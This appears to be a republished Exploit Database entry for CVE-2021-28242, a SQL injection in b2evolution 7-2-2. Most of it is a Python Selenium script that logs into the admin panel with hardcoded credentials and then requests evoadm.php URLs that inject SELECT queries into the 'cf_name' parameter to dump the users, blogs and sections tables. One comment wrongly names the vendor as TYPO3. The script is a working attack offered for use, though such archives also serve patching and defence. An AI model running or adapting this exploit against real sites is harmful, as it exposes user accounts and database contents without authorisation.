b2evolution 7-2-2 – ‘cf_name’ SQL Injection

Exploit Database
119 阅读

作者： nu11secur1ty

日期： 2021-05-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49840/

# Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection

# Author: @nu11secur1ty

# Testing and Debugging: @nu11secur1ty

# Date: 05.06.2021

# Vendor: https://b2evolution.net/

# Link: https://b2evolution.net/downloads/7-2-2

# CVE: CVE-2021-28242

# Proof: https://streamable.com/x51kso

[+] Exploit Source:

#!/usr/bin/python3

# Author: @nu11secur1ty

# CVE-2021-28242

from selenium import webdriver

import time

# Vendor: https://typo3.org/

website_link="

http://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link"

# enter your login username

username="admin"

# enter your login password

password="FvsDq7fmHvWF"

#enter the element for username input field

element_for_username="x"

#enter the element for password input field

element_for_password="q"

#enter the element for submit button

element_for_submit="login_action[login]"

browser = webdriver.Chrome() #uncomment this line,for chrome users

#browser = webdriver.Safari() #for macOS users[for others use chrome vis

chromedriver]

#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:

username_element = browser.find_element_by_name(element_for_username)

username_element.send_keys(username)

password_element= browser.find_element_by_name(element_for_password)

password_element.send_keys(password)

signInButton = browser.find_element_by_name(element_for_submit)

signInButton.click()

# Exploit vulnerability MySQL obtain sensitive database information by

injecting SQL commands into the "cf_name" parameter

time.sleep(7)

# Receaving sensitive info for evo_users

browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)

# Receaving sensitive info for evo_blogs

browser.get(("

http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20<code>evo_blogs</code>%20ORDER%20BY%20<code>evo_blogs</code>.<code>blog_name</code>&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)

# Receaving sensitive info for evo_section

browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20<code>evo_section</code>%20ORDER%20BY%20<code>evo_section</code>.<code>sec_name</code>&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)

browser.close()

print("At the time, of the exploit, you had to see information about the

tables...\n")

except Exception:

#### This exception occurs if the element are not found in the webpage.

print("Sorry, your exploit is not working for some reasons...")